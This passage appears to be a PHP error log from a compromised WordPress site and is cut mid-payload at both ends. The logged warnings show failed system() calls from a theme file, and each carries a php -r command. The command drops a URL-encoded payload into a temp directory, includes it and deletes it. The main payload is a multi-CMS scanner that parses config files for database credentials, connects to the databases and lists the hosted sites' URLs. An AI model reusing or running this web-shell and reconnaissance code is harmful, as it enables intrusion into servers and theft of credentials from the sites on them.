8%24p%2C%20false%2C%20null%2C%200%2C%208000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27%24CFG%27%29%20%21%3D%3D%20false%20%26%26%20strpos%28%24head%2C%20%27wwwroot%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_moodle%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24head%2C%20%27DIR_APPLICATION%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27HTTP_SERVER%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_opencart%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27application/config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27fuel/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_fuelphp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.settings.php%27%20%26%26%20strpos%28%24p%2C%20%27bitrix%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_bitrix%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.env%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_laravel%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_shopware%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_craft%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_symfony%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27App.php%27%20%26%26%20strpos%28%24p%2C%20%27app/Config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter4%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27app.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_cakephp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27bootstrap.php%27%20%7C%7C%20%24file%20%3D%3D%20%27url.php%27%29%20%26%26%20strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_kohana%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20scan%28%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.db2_convert";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:53:51 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22soxFqynEzIW%22.%22lyUnCkKQNJbLLZWeCh%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.cache";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:53:57 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24r%20%3D%20%22/%22%3B%20%20function%20is_valid_domain%28%24domain%29%20%7B%20%20%20%20%20if%20%28%21substr_count%28%24domain%2C%20%27.%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%09if%20%28stripos%28%24domain%2C%20%27http%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%207%29%3B%20%09%09%24schema%20%3D%20%27http%3A//%27%3B%20%20%20%20%20%7D%20%09elseif%20%28stripos%28%24domain%2C%20%27https%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%208%29%3B%20%09%09%24schema%20%3D%20%27https%3A//%27%3B%20%20%20%20%20%7D%20%09else%20%24schema%20%3D%20%27http%3A//%27%3B%20%09%20%20%20%20%20if%20%28stripos%28%24domain%2C%20%27www.%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%204%29%3B%20%20%20%20%20%7D%20%09if%20%28strpos%28%24domain%2C%20%27/%27%29%20%21%3D%3D%20false%29%20%7B%20%09%09%24split%20%3D%20explode%28%27/%27%2C%20%24domain%2C%202%29%3B%20%09%09%24domain%20%3D%20%24split%5B0%5D%3B%20%09%7D%20%20%20%20%20%24again%20%3D%20%24schema%20.%20%24domain%3B%20%20%20%20%20return%20filter_var%28%24again%2C%20FILTER_VALIDATE_URL%29%3B%20%7D%20%20function%20emit_found%28%24docroot%2C%20%24url%2C%20%24cms%2C%20%24config_path%29%20%7B%20%20%20%20%20%24d%20%3D%20is_valid_domain%28%24url%29%3B%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24docroot%7D%40%40%40%7B%24d%7D%40%40%40%7B%24cms%7D%40%40%40%7B%24config_path%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%7D%20%7D%20%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20%20function%20scan_wp%28%24p%29%20%7B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28empty%28%24conf%5B%27DB_HOST%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_USER%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24row-%3Eoption_value%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24row-%3Eoption_value%2C%20%27wp%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_joomla%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27JConfig%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/live_site%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%26%26%20%24m%5B1%5D%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27joomla%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20return%20true%3B%20%20%20%20%20%7D%20%20%20%20%20return%20true%3B%20%7D%20%20function%20scan_whmcs%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27JConfig%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27%24cc_encryption_hash%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24license%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24systemurl%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27whmcs%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_drupal%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24base_url%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Csites%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24doc%29%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27drupal%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_opencart%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27DIR_APPLICATION%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24d%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTPS_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24d%20%26%26%20preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTP_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24d%2C%20%27opencart%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_moodle%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24CFG%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24CFG%5Cs%2A-%3E%5Cs%2Awwwroot%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27moodle%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_prestashop%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24host%20%3D%20%24user%20%3D%20%24pass%20%3D%20%24db%20%3D%20null%3B%20%20%20%20%20%24prefix%20%3D%20%27ps_%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%27database_host%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_user%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_password%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_name%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_prefix%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24host%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_SERVER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24user%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_USER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24pass%20%3D%3D%3D%20null%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PASSWD_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24db%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_NAME_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PREFIX_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%20%7C%7C%20basename%28%24doc%29%20%3D%3D%3D%20%27app%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/app/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Capp%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24host%20%26%26%20%24user%20%26%26%20%24db%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24host%2C%20%24user%2C%20%24pass%2C%20%24db%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24table%20%3D%20%24prefix%20.%20%27shop_url%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24sql%20%3D%20%22SELECT%20domain%2C%20domain_ssl%2C%20physical_uri%20FROM%20%60%7B%24table%7D%60%20WHERE%20main%20%3D%201%20LIMIT%201%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24res%20%3D%20%40%24mysqli-%3Equery%28%24sql%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24row%20%3D%20%24res-%3Efetch_assoc%28%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24domain%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%24row%5B%27domain_ssl%27%5D%20%3A%20%24row%5B%27domain%27%5D%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24uri%20%3D%20isset%28%24row%5B%27physical_uri%27%5D%29%20%3F%20%24row%5B%27physical_uri%27%5D%20%3A%20%27/%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24domain%20.%20%24uri%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24res-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_PS_BASE_URL_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_magento%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20//%20app/etc/env.php%20%E2%86%92%20root%20%20%20%20%20if%20%28preg_match_all%28%22/%27base_url%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28%24m%5B1%5D%20as%20%24url%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27magento%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%20function%20scan_mediawiki%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24wg%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24server%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgServer%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24server%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24script%20%3D%20%27%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgScriptPath%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24script%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24server%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20rtrim%28%24server%2C%20%27/%27%29%20.%20%24script%2C%20%27mediawiki%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_typo3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27TYPO3%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27typo3%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27typo3conf%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27base%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%27wwwURL%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DbaseURL%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27typo3%27%